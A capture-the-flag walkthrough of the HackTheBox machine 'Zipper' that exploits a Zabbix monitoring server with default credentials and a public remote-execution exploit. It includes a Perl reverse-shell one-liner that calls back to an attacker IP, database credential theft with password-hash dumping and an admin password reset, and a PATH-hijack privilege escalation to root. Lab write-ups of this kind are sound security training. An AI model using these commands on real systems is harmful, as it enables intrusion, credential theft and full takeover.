Zipper @ HackTheBox
This post is a walkthrough of Zipper, an interesting machine on hackthebox.eu featuring the zabbix network monitoring application. It involves the application of known zabbix exploits, manipulation of database entries and light custom exploitation of a privileged binary.
User & Root Flag
The initial scan (nmap -Pn -n -sC -sV -p- 10.10.10.108 -oA 10.10.10.108) shows the following results:
22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 59:20:a3:a0:98:f2:a7:14:1e:08:e0:9b:81:72:99:0e (RSA)
| 256 aa:fe:25:f8:21:24:7c:fc:b5:4b:5f:05:24:69:4c:76 (ECDSA)
|_ 256 89:28:37:e2:b6:cc:d5:80:38:1f:b2:6a:3a:c3:a1:84 (ED25519)
80/tcp open http Apache httpd 2.4.29 ((Ubuntu))
|_http-server-header: Apache/2.4.29 (Ubuntu)
|_http-title: Apache2 Ubuntu Default Page: It works
10050/tcp open tcpwrapped
A first look on port 80 shows just a default apache2 installation website so we look for more web content with gobuster:
gobuster -u http://10.10.10.108 -w ~/tools/SecLists/Discovery/Web-Content/quickhits.txt
Running for a few seconds shows that a directory named zabbix exists:
Trying some default credentials we eventually enter zapper:zapper which does work, but gives the error ‘GUI Access disabled’. This suggests there might be some way to interact with the service without actually using the gui.
A quick google search reveals that there is an API that can be used to talk to zabbix. An important information to get out of zabbix is which hosts it is monitoring. The following short python program connects to the API and prints the configured host ids:
from pyzabbix import ZabbixAPI
zapi = ZabbixAPI("http://10.10.10.108/zabbix")
zapi.login("Zapper", "zapper")
print("Connected to Zabbix API Version %s" % zapi.api_version())
for h in zapi.host.get(output="extend"):
print(h['hostid'])
Result:
Connected to Zabbix API Version 3.0.21
10105
10106
Looking for public exploits with searchsploit we find 39937.py which needs a host id to exploit the application. Since we now do have these ids we can use them if we change the path, ip, credentials and hostid in the exploit code. Running the modified exploit gives a command shell:
[zabbix_cmd]>>: whoami
zabbix
[zabbix_cmd]>>: id
uid=103(zabbix) gid=104(zabbix) groups=104(zabbix)
Since this shell is missing features and convenience we upgrade to a perl reverse tcp shell:
perl -e 'use Socket;$i="10.10.14.18";$p=8000;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'
Looking around on the host we find “/usr/lib/zabbix/externalscripts/backup_script.sh”:
#!/bin/bash
# zapper wanted a way to backup the zabbix scripts so here it is:
7z a /backups/zabbix_scripts_backup-$(date +%F).7z -pZippityDoDah /usr/lib/zabbix/externalscripts/* &>/dev/null
In /backups we see 2 backup files:
zabbix_scripts_backup-2019-02-22.7z
zapper_backup-2019-02-22.7z
We can unpack zabbix_scripts_backup-2019-02-22.7z with the password from the script but it just contains the backup_script.sh itself so it wont help much at this point.
Another interesting file is /etc/zabbix/web/zabbix.conf.php:
...
DBUser=zabbix
DBName=zabbixdb
DBPassword=f.YMeMd$pTbpY3-449
...
With these credentials we can connect to the database and dump the users and their hashes with the following query:
mysql -u zabbix -p'f.YMeMd$pTbpY3-449' -D zabbixdb -e "select name, alias, passwd from users; > out.txt"
Zabbix Admin 65e730e044402ef2e2f386a18ec03c72
guest d41d8cd98f00b204e9800998ecf8427e
zapper zapper 16a7af0e14037b567d7782c4ef1bdeda
Since cracking the admin password didn’t give any immediate results we change the password of the admin user to something we know:
mysql -u zabbix -p'f.YMeMd$pTbpY3-449' -D zabbixdb -e "update users set passwd=md5('xct') where alias='Admin';" > out.txt
In addition we want to enable the gui access to see what we can do in the app:
mysql -u zabbix -p'f.YMeMd$pTbpY3-449' -D zabbixdb -e "update usrgrp set gui_access = 1 where name = 'administrators';" > out.txt
Looking at zabbix docs we see that we can start scripts on the configured hosts. As seen before with the host ids we can see here again that it is indeed 2 different hosts:
Zabbix 127.0.0.1: 10050
Zipper 172.17.0.1: 10050
We see in the scripts section that this is basically what the exploit has been doing all along:
On this url we can execute these scripts by clicking on the hostname.
However one detail is still missing. The scripts will be executed on the “server”-side, which means no matter which host we execute it on, it will be executed on the server. By changing it to “agent” and executing it we can actually get a shell on zapper:
$ id
uid=107(zabbix) gid=113(zabbix) groups=113(zabbix)
$ ifconfig
docker0: flags=4163<UP,BROADCAST,RUNNING,MULTICAST> mtu 1500
inet 172.17.0.1 netmask 255.255.0.0 broadcast 172.17.255.255
inet6 fe80::42:2aff:fe9c:e446 prefixlen 64 scopeid 0x20<link>
ether 02:42:2a:9c:e4:46 txqueuelen 0 (Ethernet)
RX packets 67919 bytes 5366647 (5.3 MB)
RX errors 0 dropped 0 overruns 0 frame 0
TX packets 68574 bytes 5135469 (5.1 MB)
TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0
One of the first things on a new host is to look for suid binaries with find / -perm -u=s -type f 2>/dev/null, which returns the suid program /home/zapper/utils/zabbix-service, which happens to be a 32-bit ELF executable.
Executing the file prints the string start or stop?: and is waiting for user input. With strings -n8 /home/zapper/utils/zabbix-service we find the following strings inside the binary, which are the commands it actually executes:
systemctl daemon-reload && systemctl start zabbix-agent
systemctl stop zabbix-agent
Since it doesn’t use the absolute path for systemctl we can abuse that to run our own code and get root! Placing a script called systemctl at the location where we are running the tool will execute it in the context of root. We use it to get a root shell, grab user and root flags and are done with the box:
echo '#!/bin/bash' > /tmp/systemctl
echo '/bin/bash' >> /tmp/systemctl
chmod +x /tmp/systemctl
export PATH=/tmp:$PATH
/home/zapper/utils/zabbix-service start
uid=0(root) gid=0(root) groups=0(root),113(zabbix)
